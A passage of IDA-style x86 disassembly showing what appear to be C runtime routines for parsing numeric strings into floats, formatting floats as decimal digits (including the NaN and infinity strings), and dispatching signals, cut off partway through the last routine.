; Attributes: bp-based frame


sub_4251F1	proc near		; CODE XREF: sub_424518+17p
					; sub_424545+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_42522C:				; CODE XREF: sub_4251F1+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425242
		cmp	cl, 9
		jz	short loc_425242
		cmp	cl, 0Ah
		jz	short loc_425242
		cmp	cl, 0Dh
		jnz	short loc_425245


loc_425242:				; CODE XREF: sub_4251F1+40j
					; sub_4251F1+45j ...
		inc	edi
		jmp	short loc_42522C
; ---------------------------------------------------------------------------


loc_425245:				; CODE XREF: sub_4251F1+4Fj
		push	4
		pop	esi


loc_425248:				; CODE XREF: sub_4251F1+AEj
					; sub_4251F1+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4254CB	; default
					; jumptable 00425254 case 10
		jmp	off_425692[eax*4] ; switch jump


loc_42525B:				; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 0
		jl	short loc_42526C
		cmp	bl, 39h
		jg	short loc_42526C


loc_425265:				; CODE XREF: sub_4251F1+C4j
					; sub_4251F1+118j
		push	3
		jmp	loc_425489
; ---------------------------------------------------------------------------


loc_42526C:				; CODE XREF: sub_4251F1+6Dj
					; sub_4251F1+72j
		cmp	bl, byte_441DB8
		jnz	short loc_42527B


loc_425274:				; CODE XREF: sub_4251F1+124j
		push	5
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_42527B:				; CODE XREF: sub_4251F1+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4252A1
		dec	eax
		dec	eax
		jz	short loc_425295
		sub	eax, 3
		jnz	loc_425564
		jmp	loc_425324
; ---------------------------------------------------------------------------


loc_425295:				; CODE XREF: sub_4251F1+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252A1:				; CODE XREF: sub_4251F1+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252AA:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4252B7
		cmp	bl, 39h
		jle	short loc_425265


loc_4252B7:				; CODE XREF: sub_4251F1+BFj
		cmp	bl, byte_441DB8
		jz	loc_42537F
		cmp	bl, 2Bh
		jz	short loc_4252F9
		cmp	bl, 2Dh
		jz	short loc_4252F9
		cmp	bl, 30h
		jz	short loc_425324


loc_4252D2:				; CODE XREF: sub_4251F1+207j
		cmp	bl, 43h
		jle	loc_425564
		cmp	bl, 45h
		jle	short loc_4252F2
		cmp	bl, 63h
		jle	loc_425564
		cmp	bl, 65h
		jg	loc_425564


loc_4252F2:				; CODE XREF: sub_4251F1+EDj
		push	6
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_4252F9:				; CODE XREF: sub_4251F1+D5j
					; sub_4251F1+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_425301:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 2
		jl	short loc_42530F
		cmp	bl, 39h
		jle	loc_425265


loc_42530F:				; CODE XREF: sub_4251F1+113j
		cmp	bl, byte_441DB8
		jz	loc_425274
		cmp	bl, 30h
		jnz	loc_4254D9


loc_425324:				; CODE XREF: sub_4251F1+9Fj
					; sub_4251F1+DFj
		mov	eax, edx
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_42532B:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_10], edx ; jumptable 00425254 case 3


loc_42532E:				; CODE XREF: sub_4251F1+184j
		cmp	dword_441DB4, edx
		jle	short loc_425347
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425355
; ---------------------------------------------------------------------------


loc_425347:				; CODE XREF: sub_4251F1+143j
		mov	ecx, off_441BA8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425355:				; CODE XREF: sub_4251F1+154j
		test	eax, eax
		jz	short loc_425377
		cmp	[ebp+var_4], 19h
		jnb	short loc_42536F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425372
; ---------------------------------------------------------------------------


loc_42536F:				; CODE XREF: sub_4251F1+16Cj
		inc	[ebp+var_8]


loc_425372:				; CODE XREF: sub_4251F1+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42532E
; ---------------------------------------------------------------------------


loc_425377:				; CODE XREF: sub_4251F1+166j
		cmp	bl, byte_441DB8
		jnz	short loc_4253E6


loc_42537F:				; CODE XREF: sub_4251F1+CCj
		mov	eax, esi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425386:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+var_4], 0	; jumptable 00425254 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42539F


loc_425392:				; CODE XREF: sub_4251F1+1ACj
		cmp	bl, 30h
		jnz	short loc_42539F
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425392
; ---------------------------------------------------------------------------


loc_42539F:				; CODE XREF: sub_4251F1+19Fj
					; sub_4251F1+1A4j ...
		cmp	dword_441DB4, edx
		jle	short loc_4253B8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4253C6
; ---------------------------------------------------------------------------


loc_4253B8:				; CODE XREF: sub_4251F1+1B4j
		mov	ecx, off_441BA8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4253C6:				; CODE XREF: sub_4251F1+1C5j
		test	eax, eax
		jz	short loc_4253E6
		cmp	[ebp+var_4], 19h
		jnb	short loc_4253E1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_4253E1:				; CODE XREF: sub_4251F1+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42539F
; ---------------------------------------------------------------------------


loc_4253E6:				; CODE XREF: sub_4251F1+18Cj
					; sub_4251F1+1D7j
		cmp	bl, 2Bh
		jz	loc_4252F9
		cmp	bl, 2Dh
		jz	loc_4252F9
		jmp	loc_4252D2
; ---------------------------------------------------------------------------


loc_4253FD:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	dword_441DB4, edx ; jumptable 00425254 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425419
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425427
; ---------------------------------------------------------------------------


loc_425419:				; CODE XREF: sub_4251F1+215j
		mov	ecx, off_441BA8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425427:				; CODE XREF: sub_4251F1+226j
		test	eax, eax
		jz	loc_4254D9
		mov	eax, esi
		jmp	short loc_42548A
; ---------------------------------------------------------------------------


loc_425433:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		lea	ecx, [edi-2]	; jumptable 00425254 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425443
		cmp	bl, 39h
		jle	short loc_425487


loc_425443:				; CODE XREF: sub_4251F1+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jz	short loc_4254B3
		sub	eax, 3
		jnz	loc_425567


loc_425458:				; CODE XREF: sub_4251F1+2A4j
		push	8
		jmp	short loc_4254C1
; ---------------------------------------------------------------------------


loc_42545C:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], edx ; jumptable 00425254 case 8


loc_42545F:				; CODE XREF: sub_4251F1+276j
		cmp	bl, 30h
		jnz	short loc_425469
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42545F
; ---------------------------------------------------------------------------


loc_425469:				; CODE XREF: sub_4251F1+271j
		cmp	bl, 31h
		jl	loc_425564
		cmp	bl, 39h
		jg	loc_425564
		jmp	short loc_425487
; ---------------------------------------------------------------------------


loc_42547D:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 7
		jl	short loc_425490
		cmp	bl, 39h
		jg	short loc_425490


loc_425487:				; CODE XREF: sub_4251F1+250j
					; sub_4251F1+28Aj
		push	9


loc_425489:				; CODE XREF: sub_4251F1+76j
		pop	eax


loc_42548A:				; CODE XREF: sub_4251F1+240j
		dec	edi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425490:				; CODE XREF: sub_4251F1+28Fj
					; sub_4251F1+294j
		cmp	bl, 30h
		jnz	short loc_4254D9
		jmp	short loc_425458
; ---------------------------------------------------------------------------


loc_425497:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+arg_18], 0	; jumptable 00425254 case 11
		jz	short loc_4254C7
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jnz	loc_425567


loc_4254B3:				; CODE XREF: sub_4251F1+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254BF:				; CODE XREF: sub_4251F1+258j
					; sub_4251F1+2B8j
		push	7


loc_4254C1:				; CODE XREF: sub_4251F1+85j
					; sub_4251F1+103j ...
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254C7:				; CODE XREF: sub_4251F1+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_4254CB:				; CODE XREF: sub_4251F1+5Dj
					; sub_4251F1+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425254 case 10
		jz	loc_425569
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254D9:				; CODE XREF: sub_4251F1+12Dj
					; sub_4251F1+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425569
; ---------------------------------------------------------------------------


loc_4254E1:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], 1	; jumptable 00425254 case 9
		xor	esi, esi


loc_4254EA:				; CODE XREF: sub_4251F1+339j
		cmp	dword_441DB4, 1
		jle	short loc_425502
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_425511
; ---------------------------------------------------------------------------


loc_425502:				; CODE XREF: sub_4251F1+300j
		mov	ecx, off_441BA8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_425511:				; CODE XREF: sub_4251F1+30Fj
		test	eax, eax
		jz	short loc_425531
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42552C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4254EA
; ---------------------------------------------------------------------------


loc_42552C:				; CODE XREF: sub_4251F1+334j
		mov	esi, 1451h


loc_425531:				; CODE XREF: sub_4251F1+322j
		mov	[ebp+var_1C], esi


loc_425534:				; CODE XREF: sub_4251F1+371j
		cmp	dword_441DB4, 1
		jle	short loc_42554C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42555B
; ---------------------------------------------------------------------------


loc_42554C:				; CODE XREF: sub_4251F1+34Aj
		mov	ecx, off_441BA8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42555B:				; CODE XREF: sub_4251F1+359j
		test	eax, eax
		jz	short loc_425564
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425534
; ---------------------------------------------------------------------------


loc_425564:				; CODE XREF: sub_4251F1+99j
					; sub_4251F1+E4j ...
		dec	edi
		jmp	short loc_425569
; ---------------------------------------------------------------------------


loc_425567:				; CODE XREF: sub_4251F1+261j
					; sub_4251F1+2BCj
		mov	edi, ecx


loc_425569:				; CODE XREF: sub_4251F1+2DDj
					; sub_4251F1+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425651
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425595
		cmp	[ebp+var_45], 5
		jl	short loc_425589
		inc	[ebp+var_45]


loc_425589:				; CODE XREF: sub_4251F1+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425598
; ---------------------------------------------------------------------------


loc_425595:				; CODE XREF: sub_4251F1+38Dj
		mov	eax, [ebp+var_C]


loc_425598:				; CODE XREF: sub_4251F1+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425647


loc_4255A2:				; CODE XREF: sub_4251F1+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4255B0
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4255A2
; ---------------------------------------------------------------------------


loc_4255B0:				; CODE XREF: sub_4251F1+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42512A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4255CF
		neg	eax


loc_4255CF:				; CODE XREF: sub_4251F1+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4255DA
		add	eax, [ebp+arg_10]


loc_4255DA:				; CODE XREF: sub_4251F1+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4255E2
		sub	eax, [ebp+arg_14]


loc_4255E2:				; CODE XREF: sub_4251F1+3ECj
		cmp	eax, 1450h
		jle	short loc_425619
		mov	[ebp+var_2C], 1


loc_4255F0:				; CODE XREF: sub_4251F1+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4255FC:				; CODE XREF: sub_4251F1+454j
					; sub_4251F1+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425662
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425619:				; CODE XREF: sub_4251F1+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425629
		mov	[ebp+var_30], 1
		jmp	short loc_4255F0
; ---------------------------------------------------------------------------


loc_425629:				; CODE XREF: sub_4251F1+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425DDA
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425647:				; CODE XREF: sub_4251F1+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425651:				; CODE XREF: sub_4251F1+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425662:				; CODE XREF: sub_4251F1+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425677
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425677:				; CODE XREF: sub_4251F1+426j
					; sub_4251F1+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4251F1	endp

; ---------------------------------------------------------------------------
off_425692	dd offset loc_42525B	; DATA XREF: sub_4251F1+63r
		dd offset loc_4252AA	; jump table for switch	statement
		dd offset loc_425301
		dd offset loc_42532B
		dd offset loc_425386
		dd offset loc_4253FD
		dd offset loc_425433
		dd offset loc_42547D
		dd offset loc_42545C
		dd offset loc_4254E1
		dd offset loc_4254CB
		dd offset loc_425497

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4256C2	proc near		; CODE XREF: sub_4245E9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425724
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425728
; ---------------------------------------------------------------------------


loc_425724:				; CODE XREF: sub_4256C2+5Aj
		mov	byte ptr [ebx+2], 20h


loc_425728:				; CODE XREF: sub_4256C2+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42574E
		test	edi, edi
		jnz	short loc_42574E
		cmp	[ebp+arg_0], edi
		jnz	short loc_42574E


loc_425739:				; CODE XREF: sub_4256C2+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42594C
; ---------------------------------------------------------------------------


loc_42574E:				; CODE XREF: sub_4256C2+6Cj
					; sub_4256C2+70j ...
		cmp	dx, si
		jnz	short loc_4257CD
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425767
		cmp	[ebp+arg_0], 0
		jz	short loc_425776


loc_425767:				; CODE XREF: sub_4256C2+9Dj
		test	edi, 40000000h
		jnz	short loc_425776
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4257BC
; ---------------------------------------------------------------------------


loc_425776:				; CODE XREF: sub_4256C2+A3j
					; sub_4256C2+ABj
		test	cx, cx
		jz	short loc_425790
		cmp	edi, 0C0000000h
		jnz	short loc_425790
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42579F
; ---------------------------------------------------------------------------


loc_425790:				; CODE XREF: sub_4256C2+B7j
					; sub_4256C2+BFj
		cmp	edi, eax
		jnz	short loc_4257B7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Inf	; "1#INF"


loc_42579F:				; CODE XREF: sub_4256C2+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_4257AE:				; CODE XREF: sub_4256C2+109j
		and	[ebp+var_4], 0
		jmp	loc_425925
; ---------------------------------------------------------------------------


loc_4257B7:				; CODE XREF: sub_4256C2+C5j
					; sub_4256C2+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_4257BC:				; CODE XREF: sub_4256C2+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4257AE
; ---------------------------------------------------------------------------


loc_4257CD:				; CODE XREF: sub_4256C2+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DDA
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42582E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425BBA
		pop	ecx
		pop	ecx


loc_42582E:				; CODE XREF: sub_4256C2+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425848
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42584B
		jmp	loc_425739
; ---------------------------------------------------------------------------


loc_425848:				; CODE XREF: sub_4256C2+173j
		mov	edi, [ebp+arg_C]


loc_42584B:				; CODE XREF: sub_4256C2+17Fj
		cmp	edi, 15h
		jle	short loc_425853
		push	15h
		pop	edi


loc_425853:				; CODE XREF: sub_4256C2+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425869:				; CODE XREF: sub_4256C2+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425869
		test	esi, esi
		jge	short loc_425893
		neg	esi
		and	esi, 0FFh
		jle	short loc_425893


loc_425886:				; CODE XREF: sub_4256C2+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250FD
		dec	esi
		pop	ecx
		jnz	short loc_425886


loc_425893:				; CODE XREF: sub_4256C2+1B8j
					; sub_4256C2+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4258F0
		mov	[ebp+arg_C], ecx


loc_4258A3:				; CODE XREF: sub_4256C2+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425071
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4258A3
		mov	eax, [ebp+arg_14]


loc_4258F0:				; CODE XREF: sub_4256C2+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_42592D


loc_4258FD:				; CODE XREF: sub_4256C2+248j
		cmp	eax, ecx
		jb	short loc_425910
		cmp	byte ptr [eax],	39h
		jnz	short loc_42590C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4258FD
; ---------------------------------------------------------------------------


loc_42590C:				; CODE XREF: sub_4256C2+242j
		cmp	eax, ecx
		jnb	short loc_425914


loc_425910:				; CODE XREF: sub_4256C2+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425914:				; CODE XREF: sub_4256C2+24Cj
		inc	byte ptr [eax]


loc_425916:				; CODE XREF: sub_4256C2+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425925:				; CODE XREF: sub_4256C2+F0j
		mov	eax, [ebp+var_4]


loc_425928:				; CODE XREF: sub_4256C2+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42592D:				; CODE XREF: sub_4256C2+239j
					; sub_4256C2+275j
		cmp	eax, ecx
		jb	short loc_42593D
		cmp	byte ptr [eax],	30h
		jnz	short loc_425939
		dec	eax
		jmp	short loc_42592D
; ---------------------------------------------------------------------------


loc_425939:				; CODE XREF: sub_4256C2+272j
		cmp	eax, ecx
		jnb	short loc_425916


loc_42593D:				; CODE XREF: sub_4256C2+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_42594C:				; CODE XREF: sub_4256C2+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425928
sub_4256C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425955	proc near		; CODE XREF: sub_42255C+226Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4259BC
		dec	eax
		dec	eax
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259AD
		sub	eax, 3
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259A0
		sub	eax, 6
		jz	short loc_425993
		dec	eax
		jz	short loc_425986
		or	eax, 0FFFFFFFFh
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_425986:				; CODE XREF: sub_425955+27j
		mov	esi, dword_4E0E2C
		mov	eax, offset dword_4E0E2C
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_425993:				; CODE XREF: sub_425955+24j
		mov	esi, dword_4E0E28
		mov	eax, offset dword_4E0E28
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259A0:				; CODE XREF: sub_425955+1Fj
		mov	esi, dword_4E0E30
		mov	eax, offset dword_4E0E30
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259AD:				; CODE XREF: sub_425955+10j
					; sub_425955+15j ...
		push	edi
		call	sub_425A82
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259BC:				; CODE XREF: sub_425955+Cj
		mov	esi, dword_4E0E24
		mov	eax, offset dword_4E0E24


loc_4259C7:				; CODE XREF: sub_425955+3Cj
					; sub_425955+49j ...
		cmp	esi, 1
		jnz	short loc_4259D3
		xor	eax, eax
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_4259D3:				; CODE XREF: sub_425955+75j
		test	esi, esi
		jnz	short loc_4259DE
		push	3
		call	sub_41B7C2


loc_4259DE:				; CODE XREF: sub_425955+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4259F0
		cmp	edi, 0Bh
		jz	short loc_4259F0
		cmp	edi, 4
		jnz	short loc_425A16


loc_4259F0:				; CODE XREF: sub_425955+8Fj
					; sub_425955+94j
		mov	ebx, dword_4E0C00
		and	dword_4E0C00, 0
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	edx, dword_4421FC
